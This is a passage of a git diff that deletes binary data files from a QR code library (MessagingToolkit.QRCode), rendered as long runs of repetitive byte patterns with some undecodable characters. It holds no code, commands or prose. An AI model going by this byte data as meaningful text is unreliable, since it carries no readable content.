DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKHHGGFFEE--..//00ccbbaa``&&''(())^]]\[ZYX||||{{zzLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWW221100//JJKKLLMM:998877600112233eeddccbbddeeffgg1100//..44556677aa``__^^hhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnoogghhiijjHHIIJJKKMMLLKKJJ||||{{zzLLMMNNOODDCCBBAA11223344__^^]]WW**++,,--WWVVUUTTyyxxwwvvPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[..--,,++NNOOPPQQ6554433244556677aa``__^^hhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrsskkllmmnnLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSS@@??>>==55667788VVUUTTSS..//0011SSRRQQPP !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__**))((''RRSSTTUU21100//.8899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww - -ooppqqrrPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWW<<;;::9999::;;<>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{ ssyyzz{{TTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[88776655==>>??@@NNMMLLKK66778899KKJJIIHH(())**++mmllkkjj \\]]^^__99887766,,--..//iihhggff``aabbcc5544332200112233eeddccbbddeeffgg__``aabb*))((''&@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKMMLLKKJJ||||{{zz||||{{zz XXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__44332211AABBCCDDJJIIHHGG::;;AABBGGFFEEDD,,--..//iihhggff``aabbcc5544332200112233eeddccbbddeeffgg1100//..44556677aa``__^^hhiijjkkccddeeff&%%$#"! DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKMMLLKKJJ||||{{zzLLMMNNOOIIHHGGFFyyssrrqq - - yyxwvuts - - \\]]^^__99887766,,--..//iihhggff``aabbcc00//..--EEFFGGHHFFEEDDCCCCDDEEFFCCBBAA@?00112233eeddccbbddeeffgg1100//..44556677aa``__^^hhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnoogghhiijjHHIIJJKKMMLLKKJJ||||{{zzLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSSEEDDCCBB !!""##ppoonnmm srrqqppo``aabbcc5544332200112233eeddccbbddeeffgg,,++**))IIJJKKLLBBAA;;::GGHHIIJJ>=<;;::944556677aa``__^^hhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrsskkllmmnnLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''llkkjjiionnmmllkddeeffgg1100//..44556677aa``__^^hhiijjkk((''&&%%MMNNOOPP99887766KKLLMMNN988776658899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww - -ooppqqrrPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++hhggffeekjjiihhghhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnoo$$##""!!QQRRSSTT55443322OOPPQQRR54433221<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{ ssyyzz{{TTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__99887766,,--..//ddccbbaagffeeddc - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrss||||{{zz UUVVWWXX1100//..SSTTUUVV100//..-@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKMMLLKKJJ||||{{zz||||{{zz XXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__99887766,,--..//iihhggff``aabbcc5544332200112233``__^^]]cbbaa``_ ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvwwyyxxwwvvYYZZ[[\\--,,++**WW]]^^__-,,++**)DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKMMLLKKJJ||||{{zzLLMMNNOOIIHHGGFFyyssrrqq - - yyxwvuts - - \\]]^^__99887766,,--..//iihhggff``aabbcc5544332200112233eeddccbbddeeffgg1100//..44556677WWVVUUTT%%&&''((_^^]]\[Zttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{uuttssrrqqppoonn - -XXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__**))((''RRSSTTUU21100//.8899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww - - - -iihhggff mmllkkjj \\]]^^__99887766,,--..//iihhggff``aabbcc&&%%VVWW]]^^.--,,++*<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{ eeddccbbiihhggff``aabbcc5544332200112233eeddccbbddeeffgg__``aabb*))((''&@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKMMLLKKJJ||ttssrraa``__^^eeddccbbddeeffgg1100//..44556677aa``__^^hhiijjkkccddeeff&%%$#"! DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKMMLLKKJJ||||{{zzLLMMNNOOIIHHGGFFqqppoonn]]\\[[ZZaa``__^^hhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnoogghhiijjHHIIJJKKMMLLKKJJ||||{{zzLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSSEEDDCCBB !!""##mmllkkjjYYXXWWVV]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrsskkllmmnnLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''iihhggffUUTTSSRR !!""##YYXXWWVV ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww - -ooppqqrrPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++eeddccbb%%&&''QQPPOONN$$%%&&''UUTTSSRRttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{ ssyyzz{{TTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__99887766,,--..//aa``__^^(())**++MMLLKKJJ(())**++QQPPOONNxxyyzz{{HHIIJJKKMMLLKKJJ||||{{zz||||{{zz XXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__99887766,,--..//iihhggff``aabbcc5544332200112233]]WWVVUU,,--..//IIHHGGFF,,--..//MMLLKKJJ||||{{zzLLMMNNOOIIHHGGFFyyssrrqq - - yyxwvuts - - \\]]^^__99887766,,--..//iihhggff``aabbcc5544332200112233eeddccbbddeeffgg1100//..44556677TTSSRRQQ00112233EEDDCCBB00112233IIHHGGFFyyxxwwvvPPQQRRSSEEDDCCBB !!""##ppoonnmm srrqqppo``aabbcc5544332200112233eeddccbbddeeffgg1100//..44556677aa``__^^hhiijjkk--,,++**8899::;;PPOONNMM44556677AA@@??>>44556677EEDDCCBB !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''llkkjjiionnmmllkddeeffgg1100//..44556677aa``__^^hhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??LLKKJJII8899::;;==<<;;::8899::;;AA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++hhggffeekjjiihhghhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCHHGGFFEEAABBCCDD99887766<<==>>??==<<;;::(())**++mmllkkjj \\]]^^__99887766,,--..//ddccbbaagffeeddc - - llmmnnoo))((''&&<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGDDCCBBAAEEFFGGHH55443322@@AABBCC99887766,,--..//iihhggff``aabbcc5544332200112233``__^^]]cbbaa``_ ppqqrrss%%$$##""@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKK;;::9988IIJJKKLL1100//..DDEEFFGG5544332200112233eeddccbbddeeffgg1100//..44556677WWVVUUTT%%&&''((_^^]]\[Zttuuvvww!! DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKMMLLKKJJ||||{{zzLLMMNNOO77665544MMNNOOPP--,,++**HHIIJJKK1100//..44556677aa``__^^hhiijjkk--,,++**8899::;;SSRRQQPP))**++,,YXWWVVUUxxyyzz{{HHIIJJKKMMLLKKJJ||||{{zzLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSS33221100QQRRSSTT))((''&&LLMMNNOO--,,++**8899::;;]]\\[[ZZ - - llmmnnoo))((''&&<<==>>??OONNMMLL--..//00TTSSRRQQ||||{{zzLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWW//..--,,UUVVWW]]%%$$##""PPQQRRSS))((''&&<<==>>??YYXXWWVV ppqqrrss%%$$##""@@AABBCCKKJJIIHH11223344PPOONNMMyyxxwwvvPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[++**))((^^__``aa!! TTUUVVWW%%$$##""@@AABBCCUUTTSSRRttuuvvww!! DDEEFFGGGGFFEEDD55667788LLKKJJII !!""##uuttssrrTTUUVVWWAA@@??>>$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__''&&%%bbccddeeXXYYZZ[[!! DDEEFFGGQQPPOONNxxyyzz{{HHIIJJKKCCBBAA;;99::;;AAHHGGFFEE$$%%&&''qqppoonn - -XXYYZZ[[==<<;;::(())**++mmllkkjj \\]]^^__99887766,,--..//iihhggff``aabbccffgghhii\\]]^^__HHIIJJKKMMLLKKJJ||||{{zzLLMMNNOO::998877BBCCDDEEDDCCBBAA(())**++mmllkkjj \\]]^^__99887766,,--..//iihhggff``aabbcc5544332200112233eeddccbbddeeffggjjkkllmm``aabbccLLMMNNOOIIHHGGFFyyxxwwvvPPQQRRSS66554433FFGGHHII@?>=<;;:,,--..//iihhggff``aabbcc5544332200112233eeddccbbddeeffgg1100//..44556677aa``__^^hhiijjkknnooppqqddeeffggPPQQRRSSEEDDCCBB !!""##uuttssrrTTUUVVWW221100//JJKKLLMM:998877600112233eeddccbbddeeffgg1100//..44556677aa``__^^hhiijjkk--,,++**8899::;;]]\\[[ZZ - - llmmnnooqqppoonn - -hhi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rZQXb㉀pfH~rQtJltbdQZfH~XQr˂JtArdnXv`f~Zp˂rtAJlvXnJQr|ZdQ`f~fpvrXQJ`tAJlnvpے`JrbtJtArdnXvےbHAtbdQZpfHf`vX˂pZHAۑpJAHf۝`vtbAd|drf`vXpZHAb|ZdQ`f~HfpvrXQJ`tbdQvpfHpZHAbtlHfpvnrXQJےbHAtbdQZfH~XQr˂lJtAd|ZdQ`f~Zp˂|drf`vXnvpbے`f۝`vXnvZ|dtAJlnvpے`JbtlHfpvnXvےbHAZ|d~f`bے`JtArdnXv`ےHAZp˂|drf`vXpZHAb|ZdQbtlHfpvrXQJ`tAJlnvpfH~JXQrXnvˍp|drQtJltuvwxyz{||{zyxwvIIIIIIIIIIIIIIIIIIIIIIJJJ \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv27_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv27_1.dat deleted file mode 100644 index 7dd3081..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv27_1.dat +++ /dev/null @@ -1,249 +0,0 @@ -|{|{|{|{|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuststststssstststtstststsrqrqrqrqrqrqrqrqpopopopopopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYWXWXWXWXWXWXWXWXVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=;<;<;<;<;<;<;<;<:9:9:9:9:9:9:9:9:9:9:9:9878787878787878787656565656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!      |{|{|{|{|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuststststststststqqqqqqrqrqrqrqrqrqrqrqrqpopopopopopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefefedcdcdcdcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYWXWXWXWXWXWXWXWXVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=;<;<;;;;;<;<;<;<:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!    |{|{|{|{|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuststststststststrqrqrqrqrqrqrqrqrqrqrqrqpopopopopopopopoponmnmnmnmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYWXWXWWWWWXWXWXWXVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=;;<;<;<;;<;;;;;;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565656565656543434343434343434321212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        |{|{|{|{|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuststststststststrqrqrqrqrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbababababababababa`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYWWXWXWXWWXWWWWWWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        |{|{|{|{|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuststststststststrqrqrqrqrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklklkjijijijijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878765656565656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!        |{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvustssssssststststrqrqrqrqrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9878787878787878787878765656565656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!           |{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststssssssstsrqrqrqrqrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijijijijijihghghghghghghghghgfefefefefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787878787878765656565656565656565656543434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!         |{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqrqpopopopopopopopopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;;;;;;<<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:987878787878787878787878765656565656565656543434343434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        |{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopopopopopoponmnmnmnmnmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcdcbababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWWWWWWXXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=;<;<;<;<;;;;;<;<<;<;<;;;:9:9:9:9:9:9:9:987878787878787878787878765656565656565654343434343434343434343432121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!           |{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopopopopopoponmnmnmnmnmnmnmnmnmlklklklklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYWXWXWXWXWWWWWXWXXWXWXWWWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCBABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=;<;<;<;<;<;<;<;<;;<;<;<;:9:9:9:9:9:9:9:987878787878787878787878765656565656565654343434343434343434343432121212121212121210/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        |{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststststststsrqrqrqrqrqrqrqrqpopopopopopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYWXWXWXWXWXWXWXWXWWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=;<;<;<;<;<;<;<;<<;:9:9:9:9:9:9:9:9:9:9:9878787878787878787878787656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        